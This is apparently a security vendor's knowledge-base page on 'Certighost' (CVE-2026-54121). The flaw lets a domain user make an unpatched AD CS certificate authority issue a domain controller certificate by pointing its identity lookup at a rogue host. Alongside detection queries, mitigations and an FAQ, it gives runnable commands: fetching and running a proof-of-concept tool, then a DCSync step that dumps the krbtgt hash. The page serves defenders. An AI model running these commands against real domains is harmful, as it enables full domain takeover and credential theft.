1. Resources
  2. Identity Threats
  3. Active Directory

Certighost (CVE-2026-54121)

Also known as: CVE-2026-54121, CertiGhost, AD CS chase callback identity substitution, cdc rmd request attribute abuse

Any domain user who can create a computer account makes an unpatched CA look up the requester on an attacker-controlled host and receives a certificate for a domain controller.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Any authenticated identity
Any domain account, a computer account (created through the machine account quota or already controlled), and a host the CA can reach on ports 389 and 445.
What the attacker gains
A CA-signed certificate that authenticates as a domain controller's computer account, which holds replication rights to every secret in the domain.
Threat groups
APT29NIMBUS MANTICOREAPT28APT32APT33BITTERBlackByteCobalt GroupFIN6FIN8HAFNIUMLAPSUS$MoustachedBouncerOilRigand 10 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1649, T1068.

How it works

When an enterprise CA receives a request, it looks up the requester in the directory to build the certificate: name, SID, DNS host name. For a requester in another domain of the forest the CA may not find the account locally, so AD CS has a fallback, controlled by the CA flag EDITF_ENABLECHASECLIENTDC, in which the CA contacts a domain controller that knows the requester. Two request attributes steer this "chase":

  • cdc (client DC) names the host the CA should contact.
  • rmd (remote domain) names the principal to look up there.

The attributes are part of the request, so the client chooses them. A CA without the fix for CVE-2026-54121 connects to whatever host cdc names, over SMB (445) and LDAP (389), and treats the response as the truth about the requester.

The attack turns that into identity substitution:

  1. The attacker needs a computer account, because the chase path is only reached for computer requesters. They create one through the machine account quota or reuse one they control.
  2. On their own host they run rogue LSA and LDAP services.
  3. They submit a request for the Machine template as their computer account, with cdc set to their host and rmd naming a real domain controller.
  4. The CA connects to the rogue services. They validate the CA's incoming authentication against the real domain controller so the session looks legitimate, and then answer the lookups with the target domain controller's objectSid and dNSHostName.
  5. The CA issues a certificate with the domain controller's identity to the attacker's key.

The CA never bound the identity it got back to the account that authenticated. That is the difference from Certifried, where the attacker writes a false dNSHostName into the directory. Here the directory is untouched and the false identity exists only in the answers given to the CA.

The site's research post on Certighost documents the patch internals, a way to tell patched from unpatched CAs remotely without completing the attack, and the measured behavior on Windows Server 2019 and 2025.

Prerequisites

  • An enterprise CA without the July 2026 security update, with EDITF_ENABLECHASECLIENTDC set in its policy EditFlags.
  • Any domain user account.
  • A computer account: ms-DS-MachineAccountQuota above zero (the default allows ten), or the name and password of an existing computer account.
  • A published machine template that computer accounts can enroll in. The default Machine template qualifies.
  • Network reach from the CA to the attacker's host on TCP 389 and 445, and from the attacker to the CA and a domain controller.
  • An attacker host where ports 389 and 445 are free to bind, which in practice means Linux with root.

Two conditions make the attack fail on a CA that is still vulnerable: a CA that sends NTLMv1 (LmCompatibilityLevel 2), because the pass-through validation fails, and ESC6 on the same CA, because the requester-supplied SAN then conflicts with the substituted subject. Neither is a fix.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Prepare the tool

The public proof of concept needs a source build of Impacket, because it uses a server method that packaged versions lack:

git clone https://github.com/aniqfakhrul/CVE-2026-54121
cd CVE-2026-54121
python3 -m venv .venv && . .venv/bin/activate
pip install "git+https://github.com/fortra/impacket.git" asn1crypto ldap3

2. Run the chain

The tool takes a low-privileged user, the domain controller and CA addresses, and the account name of the domain controller to impersonate:

sudo ./.venv/bin/python certighost.py -d corp.example.com -u alice -p '<password>' \
    --dc-ip 192.0.2.10 --ca-ip 192.0.2.20 --target-san 'DC01$'

It creates a computer account, starts the rogue LSA and LDAP listeners, submits the request with the cdc and rmd attributes, and saves the result:

[*] Creating computer: GHOSTZFOOYOJF$
[*] Starting rogue servers (LSA:445 + LDAP:389)
[*] Requesting certificate (template=Machine, cdc=192.0.2.50)
    Saved: dc01.pfx
[*] PKINIT as DC01$
    ccache: dc01.ccache

Where the machine account quota is zero, pass an existing computer account with --computer-name and --computer-pass.

3. Replicate the directory

The tool has already used the certificate for PKINIT and written a credential cache for DC01$. A domain controller's account can replicate, so DCSync follows:

export KRB5CCNAME=$PWD/dc01.ccache
secretsdump.py -k -no-pass 'corp.example.com/dc01$@DC01.corp.example.com' -just-dc-user krbtgt

Impact

One unprivileged account reaches the krbtgt key and every password hash in the domain, without touching a template, an ACL or a directory attribute of the target. The certificate for the domain controller remains valid for its full lifetime and the PKINIT logon also yields the controller's NT hash.

Recovery is that of a full domain compromise: revoke the certificate, reset the krbtgt password twice, rotate the impersonated controller's account and all privileged credentials, and review everything the CA issued while it was vulnerable.

OPSEC and artifacts

  • The request carries the attack in its attributes. The CA records the attributes of every request. A request with cdc or rmd is rare in normal enrollment, and the CA database keeps it together with the requester name. Event 4886 includes the attributes when CA auditing is on, and event 4887 records the issuance.
  • Requester and subject disagree. The certificate is issued to the attacker's computer account as requester, with a domain controller's DNS name as subject. Both are in the same database row.
  • The CA makes outbound connections. A CA opening SMB and LDAP sessions to a host that is not a domain controller is unusual and visible in network telemetry. The operator cannot avoid this; it is the mechanism.
  • A new computer account. Unless the operator brings an account, the domain controller logs event 4741 for a computer created by an ordinary user.
  • Tooling on the attacker host. The tool needs root and binds 389 and 445, and endpoint protection commonly flags Impacket. It writes the PFX and credential cache to disk.
  • Certificate logon and replication. Event 4768 shows DC01$ requesting a TGT with a certificate from an address that is not DC01, and event 4662 shows replication requested by that account from the same address.

Detection

  • Requests with chase attributes. Query the CA database for requests that carry cdc or rmd:
certutil.exe -view -out "RequestID,RequesterName,Request.RequestAttributes,CertificateTemplate"
  • Domain controller certificates requested by something else. In 4887, a subject or SAN that is a domain controller's name with a requester that is not that controller.
  • CA network behavior. Alert on outbound 389 and 445 from CA servers to addresses outside the domain controller list.
  • Computer accounts created by users. The machine account creation rules cover 4741 by non-administrative creators.
  • Replication from a non-controller address. The DCSync rules cover the final step.
// Certificate requests that carry chase attributes
WindowsEvent
| where EventID == 4886 and Provider == "Microsoft-Windows-Security-Auditing"
| extend Requester = tostring(EventData.Requester),
         Attributes = tostring(EventData.Attributes),
         RequestId = tostring(EventData.RequestId)
| where Attributes has "cdc:" or Attributes has "rmd:"
| project TimeGenerated, Computer, RequestId, Requester, Attributes

The blog post linked above includes a probe that classifies a CA as patched or affected from its response time and status code without completing the attack.

Mitigation

  • Install the July 2026 security update on every enterprise CA. This is the fix. It adds validation that the chase target is a genuine domain controller and that the resolved SID matches. Verify the behavior after installing, not only the update record.
  • As a temporary measure, disable the chase on a CA that cannot be patched yet, knowing that it also disables legitimate cross-domain enrollment that depends on it:
certutil.exe -config "SRV01.corp.example.com\CORP-CA" -setreg "policy\EditFlags" -EDITF_ENABLECHASECLIENTDC
net stop certsvc & net start certsvc
  • Set the machine account quota to zero and delegate computer creation to a dedicated group. The MachineAccountQuota guide has the steps.
  • Restrict the CA's outbound traffic. A CA should reach domain controllers, not arbitrary hosts, on 389 and 445.
  • Limit who can submit requests to the CA to the principals that need to enroll.
  • Review past issuance. Search the database for cdc and rmd attributes and for domain controller certificates with an unexpected requester, revoke them and investigate the requester.
  • Treat the CA as Tier 0 for patching and network placement, as the Active Directory hardening guide describes.

Detection rules for this attack

Log events to collect

FAQ

What is Certighost?

The name of CVE-2026-54121, a flaw in how an AD CS certification authority resolves the identity of a requester from another domain. The request can name the host the CA should ask, and an unpatched CA trusts the answer. An attacker points the CA at their own host and answers with a domain controller's identity.

Does Certighost need a misconfigured template or CA?

No. It works against a CA whose templates and flags are all in their default, well-configured state. It needs an unpatched CA with the chase feature enabled, a computer account, and a network path from the CA to the attacker's host. Template reviews for ESC1 to ESC16 do not find it.

How is it fixed?

By the July 2026 security updates for Windows Server, installed on every enterprise CA: KB5099535 for Server 2016, KB5099538 for 2019, KB5099540 for 2022 and KB5099536 for 2025. The update makes the CA verify that the named host is a real domain controller and that the SID it returns is the expected one.

Is setting the machine account quota to zero enough?

No. It removes the easiest way to get the computer account the attack needs, but an attacker who already controls any computer account, for example as local administrator of a domain-joined machine, can supply it instead. Patch the CA and treat the quota as an additional control.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.